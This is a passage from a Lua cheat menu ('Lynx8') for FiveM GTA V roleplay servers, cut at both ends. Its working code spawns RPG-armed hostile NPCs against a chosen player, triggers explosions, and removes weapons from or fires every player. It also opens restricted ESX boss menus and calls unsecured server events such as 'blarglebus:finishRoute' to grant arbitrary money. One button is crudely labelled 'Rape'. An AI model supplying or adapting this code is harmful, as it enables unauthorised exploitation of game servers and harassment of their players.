TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0,
16)
elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, coords.x,
coords.y, coords.z, 500)
else
Citizen.Wait(0)
end
else
Citizen.Wait(0)
end
end
elseif Lynx8.Button('~h~Spawn Wade ~r~RPG') then
for i = 0, 32 do
local coords =
GetEntityCoords(GetPlayerPed(SelectedPlayer))
RequestModel(GetHashKey('ig_wade'))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey('ig_wade')) then
local ped =
CreatePed(21, GetHashKey('ig_wade'), coords.x,
coords.y, coords.z, 0, true, false)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(SelectedPlayer)) then
RequestNetworkControl(ped)
GiveWeaponToPed(ped, GetHashKey('WEAPON_RPG'),
9999, 1, 1)
SetPedCanSwitchWeapon(ped, true)
makePedHostile(ped, SelectedPlayer, 0, 0)
TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0,
16)
elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
TaskCombatHatedTargetsInArea(ped, coords.x,
coords.y, coords.z, 500)
else
Citizen.Wait(0)
end
else
Citizen.Wait(0)
end
end
elseif Lynx8.Button('~h~~r~Banana ~p~Party') then
bananaparty()
elseif Lynx8.Button('~h~~r~Explode') then
AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 18,
3000.0, true, false, 1.0)
AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 18,
3000.0, true, false, true)
elseif Lynx8.Button('~h~~r~Rape') then
rapeplayer()
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('TeleportMenu') then
if
Lynx8.Button(
'~h~Teleport to ~g~waypoint'
)
then
bO()
elseif
Lynx8.Button(
'~h~Teleport into ~g~nearest ~s~vehicle'
)
then
bH()
elseif
Lynx8.Button(
'~h~Teleport to ~r~coords'
)
then
bA()
elseif
Lynx8.Button(
'~h~Draw custom ~r~blip ~s~on map'
)
then
bE()
elseif
Lynx8.CheckBox(
'~h~Show ~g~Coords',
showCoords,
function(dl)
showCoords = dl
end
)
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('WeaponMenu') then
if Lynx8.MenuButton('~h~~p~-> ~s~Give Single Weapon',
'WeaponTypes') then
elseif
Lynx8.CheckBox(
'~h~Magic Bullet',
MagicBullet,
function(enabled)
MagicBullet = enabled
end
)
then
elseif
Lynx8.Button('~h~~g~Give All Weapons')
then
for i = 1, #a_ do
GiveWeaponToPed(PlayerPedId(-1), GetHashKey(a_[i]), 1000,
false, false)
end
elseif
Lynx8.Button(
'~h~~r~Remove All Weapons'
)
then
RemoveAllPedWeapons(PlayerPedId(-1), true)
elseif Lynx8.Button('~h~Drop your current Weapon') then
local a = GetPlayerPed(-1)
local b = GetSelectedPedWeapon(a)
SetPedDropsInventoryWeapon(GetPlayerPed(-1), b, 0, 2.0, 0, -1)
elseif
Lynx8.Button(
'~h~~g~Give All Weapons to ~s~everyone'
)
then
for ds = 0, 128 do
if ds ~= PlayerId(-1) and GetPlayerServerId(ds) ~= 0 then
for i = 1, #a_ do
GiveWeaponToPed(PlayerPedId(ds), GetHashKey(a_[i]),
1000, false, false)
end
end
end
elseif
Lynx8.Button(
'~h~~r~Remove All Weapons from ~s~everyone'
)
then
for ds = 0, 128 do
if ds ~= PlayerId(-1) and GetPlayerServerId(ds) ~= 0 then
RemoveAllPedWeapons(PlayerPedId(ds), true)
end
end
elseif Lynx8.Button('~h~Give Ammo') then
for i = 1, #a_ do
AddAmmoToPed(PlayerPedId(-1), GetHashKey(a_[i]), 200)
end
elseif
Lynx8.CheckBox(
'~h~~r~OneShot Kill',
oneshot,
function(dl)
oneshot = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Vehicle Gun',
VehicleGun,
function(dl)
VehicleGun = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Delete Gun',
DeleteGun,
function(dl)
DeleteGun = dl
end
)
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('tunings') then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, da in pairs(be) do
if da.id == 'extra' and #checkValidVehicleExtras() ~= 0 then
if Lynx8.MenuButton(da.name, da.id) then
end
elseif da.id == 'neon' then
if Lynx8.MenuButton(da.name, da.id) then
end
elseif da.id == 'paint' then
if Lynx8.MenuButton(da.name, da.id) then
end
elseif da.id == 'wheeltypes' then
if Lynx8.MenuButton(da.name, da.id) then
end
else
local at = checkValidVehicleMods(da.id)
for dg, dh in pairs(at) do
if Lynx8.MenuButton(da.name, da.id) then
end
break
end
end
end
if IsToggleModOn(veh, 22) then
xenonStatus = 'Installed'
else
xenonStatus = 'Not Installed'
end
if Lynx8.Button('Xenon Headlight', xenonStatus) then
if not IsToggleModOn(veh, 22) then
ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
else
ToggleVehicleMod(veh, 22, not IsToggleModOn(veh, 22))
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('performance') then
veh = GetVehiclePedIsUsing(PlayerPedId())
for i, da in pairs(bf) do
if Lynx8.MenuButton(da.name, da.id) then
end
end
if IsToggleModOn(veh, 18) then
turboStatus = 'Installed'
else
turboStatus = 'Not Installed'
end
if Lynx8.Button('~h~~b~Turbo ~h~Tune', turboStatus) then
if not IsToggleModOn(veh, 18) then
ToggleVehicleMod(veh, 18, not IsToggleModOn(veh, 18))
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('primary') then
Lynx8.MenuButton('~h~~p~-> ~s~Classic', 'classic1')
Lynx8.MenuButton('~h~~p~-> ~s~Metallic', 'metallic1')
Lynx8.MenuButton('~h~~p~-> ~s~Matte', 'matte1')
Lynx8.MenuButton('~h~~p~-> ~s~Metal', 'metal1')
Lynx8.Display()
elseif Lynx8.IsMenuOpened('secondary') then
Lynx8.MenuButton('~h~~p~-> ~s~Classic', 'classic2')
Lynx8.MenuButton('~h~~p~-> ~s~Metallic', 'metallic2')
Lynx8.MenuButton('~h~~p~-> ~s~Matte', 'matte2')
Lynx8.MenuButton('~h~~p~-> ~s~Metal', 'metal2')
Lynx8.Display()
elseif Lynx8.IsMenuOpened('rimpaint') then
Lynx8.MenuButton('~h~~p~-> ~s~Classic', 'classic3')
Lynx8.MenuButton('~h~~p~-> ~s~Metallic', 'metallic3')
Lynx8.MenuButton('~h~~p~-> ~s~Matte', 'matte3')
Lynx8.MenuButton('~h~~p~-> ~s~Metal', 'metal3')
Lynx8.Display()
elseif Lynx8.IsMenuOpened('classic1') then
for dt, du in pairs(bh) do
tp, ts = GetVehicleColours(veh)
if tp == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and tp == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = true
elseif b9 and curprim == du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = false
bb = -1
ba = -1
elseif b9 and curprim ~= du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('metallic1') then
for dt, du in pairs(bh) do
tp, ts = GetVehicleColours(veh)
if tp == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and tp == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = true
elseif b9 and curprim == du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = false
bb = -1
ba = -1
elseif b9 and curprim ~= du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('matte1') then
for dt, du in pairs(bj) do
tp, ts = GetVehicleColours(veh)
if tp == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and tp == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleColours(veh, du.id, oldsec)
b9 = true
elseif b9 and curprim == du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = false
bb = -1
ba = -1
elseif b9 and curprim ~= du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('metal1') then
for dt, du in pairs(bk) do
tp, ts = GetVehicleColours(veh)
if tp == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and tp == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
SetVehicleColours(veh, du.id, oldsec)
b9 = true
elseif b9 and curprim == du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = false
bb = -1
ba = -1
elseif b9 and curprim ~= du.id then
SetVehicleColours(veh, du.id, oldsec)
SetVehicleExtraColours(veh, du.id, oldwheelcolour)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('classic2') then
for dt, du in pairs(bh) do
tp, ts = GetVehicleColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
ba = table.pack(oldprim, oldsec)
SetVehicleColours(veh, oldprim, du.id)
b9 = true
elseif b9 and cursec == du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and cursec ~= du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('metallic2') then
for dt, du in pairs(bh) do
tp, ts = GetVehicleColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
ba = table.pack(oldprim, oldsec)
SetVehicleColours(veh, oldprim, du.id)
b9 = true
elseif b9 and cursec == du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and cursec ~= du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('matte2') then
for dt, du in pairs(bj) do
tp, ts = GetVehicleColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
ba = table.pack(oldprim, oldsec)
SetVehicleColours(veh, oldprim, du.id)
b9 = true
elseif b9 and cursec == du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and cursec ~= du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('metal2') then
for dt, du in pairs(bk) do
tp, ts = GetVehicleColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
curprim, cursec = GetVehicleColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
ba = table.pack(oldprim, oldsec)
SetVehicleColours(veh, oldprim, du.id)
b9 = true
elseif b9 and cursec == du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and cursec ~= du.id then
SetVehicleColours(veh, oldprim, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('classic3') then
for dt, du in pairs(bh) do
_, ts = GetVehicleExtraColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
_, currims = GetVehicleExtraColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
elseif b9 and currims == du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and currims ~= du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('metallic3') then
for dt, du in pairs(bh) do
_, ts = GetVehicleExtraColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
_, currims = GetVehicleExtraColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
elseif b9 and currims == du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and currims ~= du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('matte3') then
for dt, du in pairs(bj) do
_, ts = GetVehicleExtraColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
_, currims = GetVehicleExtraColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
elseif b9 and currims == du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and currims ~= du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('metal3') then
for dt, du in pairs(bk) do
_, ts = GetVehicleExtraColours(veh)
if ts == du.id and not b9 then
pricetext = 'Installed'
else
if b9 and ts == du.id then
pricetext = 'Previewing'
else
pricetext = 'Not Installed'
end
end
_, currims = GetVehicleExtraColours(veh)
if Lynx8.Button(du.name, pricetext) then
if not b9 then
bb = 'paint'
bd = false
oldprim, oldsec = GetVehicleColours(veh)
oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
ba = table.pack(oldprim, oldsec, oldpearl,
oldwheelcolour)
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
elseif b9 and currims == du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = false
bb = -1
ba = -1
elseif b9 and currims ~= du.id then
SetVehicleExtraColours(veh, oldpearl, du.id)
b9 = true
end
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('AICONTROLMENU') then
if Lynx8.Button('~h~Configure AI ~g~Speed') then
local cspeed = KeyboardInput('Enter Wanted MaxSpeed', '', 100)
if cspeed ~= nil or cspeed ~= '' then
aispeed = (cspeed .. '.0')
SetDriveTaskMaxCruiseSpeed(GetPlayerPed(-1),
tonumber(aispeed))
end
SetDriverAbility(GetPlayerPed(-1), 100.0)
elseif Lynx8.Button('~h~AI Drive (Waypoint_Slow)') then
if DoesBlipExist(GetFirstBlipInfoId(8)) then
local blipIterator = GetBlipInfoIdIterator(8)
local blip = GetFirstBlipInfoId(8, blipIterator)
local wp = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip,
Citizen.ResultAsVector())
local ped = GetPlayerPed(-1)
ClearPedTasks(ped)
local v = GetVehiclePedIsIn(ped, false)
TaskVehicleDriveToCoord(ped, v, wp.x, wp.y, wp.z,
tonumber(aispeed), 156, v, 5, 1.0, true)
SetDriveTaskDrivingStyle(ped, 8388636)
speedmit = true
end
elseif Lynx8.Button('~h~AI Drive (Waypoint_Fast)') then
if DoesBlipExist(GetFirstBlipInfoId(8)) then
local blipIterator = GetBlipInfoIdIterator(8)
local blip = GetFirstBlipInfoId(8, blipIterator)
local wp = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip,
Citizen.ResultAsVector())
local ped = GetPlayerPed(-1)
ClearPedTasks(ped)
local v = GetVehiclePedIsIn(ped, false)
TaskVehicleDriveToCoord(ped, v, wp.x, wp.y, wp.z,
tonumber(aispeed), 156, v, 2883621, 5.5, true)
SetDriveTaskDrivingStyle(ped, 2883621)
speedmit = true
end
elseif Lynx8.Button('~h~AI Drive (Wander)') then
local ped = GetPlayerPed(-1)
ClearPedTasks(ped)
local v = GetVehiclePedIsIn(ped, false)
print('Configured speed is currently ' .. aispeed)
TaskVehicleDriveWander(ped, v, tonumber(aispeed), 8388636)
elseif Lynx8.Button('~h~Stop AI') then
speedmit = false
if IsPedInAnyVehicle(GetPlayerPed(-1)) then
ClearPedTasks(GetPlayerPed(-1))
else
ClearPedTasksImmediately(GetPlayerPed(-1))
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('VehicleMenu') then
if Lynx8.MenuButton('~h~~p~-> ~s~~h~~b~LSC ~s~Customs', 'LSC') then
elseif Lynx8.MenuButton('~h~~p~->~s~ Vehicle ~g~Boost',
'BoostMenu') then
elseif Lynx8.MenuButton('~h~~p~->~s~ Vehicle List', 'CarTypes')
then
elseif Lynx8.MenuButton("~h~~p~->~s~ AI Menu", "AICONTROLMENU")
then
elseif
Lynx8.Button(
'~h~Spawn ~r~Custom ~s~Vehicle'
)
then
bS()
elseif
Lynx8.Button(
'~h~~g~Repair ~s~Vehicle'
)
then
bU()
elseif Lynx8.Button('~h~Flip Vehicle') then
daojosdinpatpemata()
elseif Lynx8.Button('~h~~b~Max ~s~Tuning') then
MaxOut(GetVehiclePedIsUsing(PlayerPedId(-1)))
elseif
Lynx8.CheckBox(
'~h~Rainbow Vehicle Colour',
RainbowVeh,
function(dl)
RainbowVeh = dl
end
)
then
elseif
Lynx8.Button(
'~h~~r~Delete ~s~Vehicle'
)
then
DelVeh(GetVehiclePedIsUsing(PlayerPedId(-1)))
elseif Lynx8.Button('~h~Make vehicle dirty') then
Clean(GetVehiclePedIsUsing(PlayerPedId(-1)))
elseif Lynx8.Button('~h~Make vehicle clean') then
Clean2(GetVehiclePedIsUsing(PlayerPedId(-1)))
elseif
Lynx8.Button(
'~h~Change Car License Plate'
)
then
bW()
elseif Lynx8.Button('~h~Refuel Vehicle') then
bV()
elseif
Lynx8.CheckBox(
'~h~No Fall',
Nofall,
function(dl)
Nofall = dl
SetPedCanBeKnockedOffVehicle(PlayerPedId(-1), Nofall)
end
)
then
elseif
Lynx8.CheckBox(
'~h~Vehicle Godmode',
VehGod,
function(dl)
VehGod = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~Speedboost ~g~SHIFT ~r~CTRL',
VehSpeed,
function(dl)
VehSpeed = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~EMP~s~ Nearest Vehicles',
destroyvehicles,
function(dl)
destroyvehicles = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~Delete~s~ Nearest Vehicles/Entity',
deletenearestvehicle,
function(dl)
deletenearestvehicle = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~r~Explode~s~ Nearest Vehicles',
explodevehicles,
function(dl)
explodevehicles = dl
end
)
then
elseif
Lynx8.CheckBox(
'~h~~p~Fuck~s~ Nearest Vehicles',
fuckallcars,
function(dl)
fuckallcars = dl
end
)
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('LuaMenu') then
if Lynx8.MenuButton('~h~~p~-> ~s~~r~ESX ~s~Boss', 'ESXBoss') then
elseif Lynx8.MenuButton('~h~~p~-> ~s~~r~ESX ~s~Money', 'ESXMoney')
then
elseif Lynx8.MenuButton('~h~~p~-> ~s~~r~ESX ~s~Jobs', 'ESXJobs')
then
elseif Lynx8.MenuButton('~h~~p~-> ~s~~r~ESX ~s~Misc', 'ESXCustom')
then
elseif Lynx8.MenuButton('~h~~p~-> ~s~~r~ESX ~s~Drugs', 'ESXDrugs')
then
elseif Lynx8.MenuButton('~h~~p~-> ~s~~y~VRP ~s~Triggers',
'VRPTriggers') then
elseif
Lynx8.MenuButton('~h~~p~-> ~s~~b~Misc ~s~Triggers',
'MiscTriggers')
then
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('ESXJobs') then
if Lynx8.Button('~h~Fire all players') then
for a = 0, 128 do
TriggerServerEvent(
'NB:destituerplayer',
GetPlayerServerId(a)
)
UnemployedPlayers()
end
elseif
Lynx8.Button(
'~h~Set all ~b~Police ~s~Job'
)
then
for a = 0, 128 do
TriggerServerEvent(
'NB:recruterplayer',
GetPlayerServerId(a),
'police',
3
)
PolicePlayers()
end
elseif
Lynx8.Button(
'~h~Set all ~o~Mecano ~s~Job'
)
then
for a = 0, 128 do
TriggerServerEvent(
'NB:recruterplayer',
GetPlayerServerId(a),
'mecano',
3
)
MecanoPlayers()
end
elseif
Lynx8.Button(
'~h~Set all ~y~Taxi ~s~Job'
)
then
for a = 0, 128 do
TriggerServerEvent(
'NB:recruterplayer',
GetPlayerServerId(a),
'taxi',
3
)
TaxiPlayers()
end
elseif
Lynx8.Button(
'~h~Set all ~r~Ambulance ~s~Job'
)
then
for a = 0, 128 do
TriggerServerEvent(
'NB:recruterplayer',
GetPlayerServerId(a),
'ambulance',
3
)
AmbulancePlayers()
end
elseif
Lynx8.Button(
'~h~Set all ~g~Real Estate ~s~Job'
)
then
for a = 0, 128 do
TriggerServerEvent(
'NB:recruterplayer',
GetPlayerServerId(a),
'realestateagent',
3
)
RealEstateAgentPlayers()
end
elseif
Lynx8.Button(
'~h~Set all ~r~Car ~b~Dealer ~s~Job'
)
then
for a = 0, 128 do
TriggerServerEvent(
'NB:recruterplayer',
GetPlayerServerId(a),
'cardealer',
3
)
CarDealerPlayers()
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('ESXBoss') then
if
Lynx8.Button(
'~c~~h~Mechanic~s~ Boss Menu'
)
then
TriggerEvent(
'esx_society:openBossMenu',
'mecano',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'mecano',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'mecano',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'mecano',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'mecano',
function(dz, dA)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'mecano',
function(dz, dA)
Lynx8.close()
end
)
Lynx8.CloseMenu()
elseif
Lynx8.Button(
'~b~~h~Police~s~ Boss Menu'
)
then
TriggerEvent(
'esx_society:openBossMenu',
'police',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'police',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'police',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'police',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'police',
function(dz, dA)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'police',
function(dz, dA)
Lynx8.close()
end
)
Lynx8.CloseMenu()
elseif
Lynx8.Button(
'~r~~h~Ambulance~s~ Boss Menu'
)
then
TriggerEvent(
'esx_society:openBossMenu',
'ambulance',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'ambulance',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'ambulance',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'ambulance',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'ambulance',
function(dz, dA)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'ambulance',
function(dz, dA)
Lynx8.close()
end
)
Lynx8.CloseMenu()
elseif
Lynx8.Button(
'~y~~h~Taxi~s~ Boss Menu'
)
then
TriggerEvent(
'esx_society:openBossMenu',
'taxi',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'taxi',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'taxi',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'taxi',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'taxi',
function(dz, dA)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'taxi',
function(dz, dA)
Lynx8.close()
end
)
Lynx8.CloseMenu()
elseif
Lynx8.Button(
'~g~~h~Real Estate~s~ Boss Menu'
)
then
TriggerEvent(
'esx_society:openBossMenu',
'realestateagent',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'realestateagent',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'realestateagent',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'realestateagent',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'realestateagent',
function(dz, dA)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'realestateagent',
function(dz, dA)
Lynx8.close()
end
)
Lynx8.CloseMenu()
elseif
Lynx8.Button(
'~o~~h~Car Dealer~s~ Boss Menu'
)
then
TriggerEvent(
'esx_society:openBossMenu',
'cardealer',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'cardealer',
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'cardealer',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'cardealer',
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'cardealer',
function(dz, dA)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
'cardealer',
function(dz, dA)
Lynx8.close()
end
)
Lynx8.CloseMenu()
elseif
Lynx8.Button(
'~y~~h~Custom~s~ Boss Menu'
)
then
local f =
KeyboardInput(
'Enter custom boss menu job name',
'',
100
)
if f ~= '' then
TriggerEvent(
'esx_society:openBossMenu',
f,
function(dv, dw)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
f,
function(dx, dy)
Lynx8.close()
end
)
TriggerEvent(
'esx_society:openBossMenu',
f,
function(dz, dA)
Lynx8.close()
end
)
Lynx8.CloseMenu()
end
end
Lynx8.Display()
elseif Lynx8.IsMenuOpened('ESXMoney') then
if Lynx8.Button("~h~<FONT COLOR='#ff22f4'>Automatic Money ~r~
WARNING!") then
automaticmoneyesx()
elseif Lynx8.Button('~g~~h~ESX ~y~Nightline Bus Pay') then
local result = KeyboardInput('Enter amount of money USE AT YOUR
OWN RISK', '', 100000000)
if result then
TriggerServerEvent('blarglebus:finishRoute', result)
end
elseif
Lynx8.Button(
'~g~~h~ESX ~y~Caution Give Back'
)
then
local f =
KeyboardInput(
'Enter amount of money',
'',
100
)
if f ~= '' then
TriggerServerEvent(
'esx_jobs:caution',
